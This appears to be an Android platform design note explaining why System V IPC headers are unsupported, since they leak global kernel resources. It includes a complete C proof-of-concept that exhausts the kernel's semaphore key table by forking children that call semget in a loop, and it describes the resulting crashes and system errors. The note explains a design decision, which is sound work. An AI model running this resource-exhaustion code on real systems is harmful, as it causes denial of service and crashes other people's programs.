<html><body><pre>Android does not support System V IPCs, i.e. the facilities provided by the
following standard Posix headers:
<sys/sem.h> /* SysV semaphores */
<sys/shm.h> /* SysV shared memory segments */
<sys/msg.h> /* SysV message queues */
<sys/ipc.h> /* General IPC definitions */
The reason for this is due to the fact that, by design, they lead to global
kernel resource leakage.
For example, there is no way to automatically release a SysV semaphore
allocated in the kernel when:
- a buggy or malicious process exits
- a non-buggy and non-malicious process crashes or is explicitly killed.
Killing processes automatically to make room for new ones is an
important part of Android's application lifecycle implementation. This means
that, even assuming only non-buggy and non-malicious code, it is very likely
that over time, the kernel global tables used to implement SysV IPCs will fill
up.
At that point, strange failures are likely to occur and prevent programs that
use them to run properly until the next reboot of the system.
And we can't ignore potential malicious applications. As a proof of concept
here is a simple exploit that you can run on a standard Linux box today:
--------------- cut here ------------------------
#include <sys/sem.h>
#include <sys/wait.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#define NUM_SEMAPHORES 32
#define MAX_FAILS 10
int main(void)
{
int counter = 0;
int fails = 0;
if (counter == IPC_PRIVATE)
counter++;
printf( "%d (NUM_SEMAPHORES=%d)\n", counter, NUM_SEMAPHORES);
for (;;) {
int ret = fork();
int status;
if (ret < 0) {
perror("fork:");
break;
}
if (ret == 0) {
/* in the child */
ret = semget( (key_t)counter, NUM_SEMAPHORES, IPC_CREAT );
if (ret < 0) {
return errno;
}
return 0;
}
else {
/* in the parent */
ret = wait(&status);
if (ret < 0) {
perror("waitpid:");
break;
}
if (status != 0) {
status = WEXITSTATUS(status);
fprintf(stderr, "child %d FAIL at counter=%d: %d\n", ret,
counter, status);
if (++fails >= MAX_FAILS)
break;
}
}
counter++;
if ((counter % 1000) == 0) {
printf("%d\n", counter);
}
if (counter == IPC_PRIVATE)
counter++;
}
return 0;
}
--------------- cut here ------------------------
If you run it on a typical Linux distribution today, you'll discover that it
will quickly fill up the kernel's table of unique key_t values, and that
strange things will happen in some parts of the system, but not all.
(You can use the "ipcs -u" command to get a summary describing the kernel
tables and their allocations)
For example, in our experience, anything program launched after that that
calls strerror() will simply crash. The USB sub-system starts spoutting weird
errors to the system console, etc...
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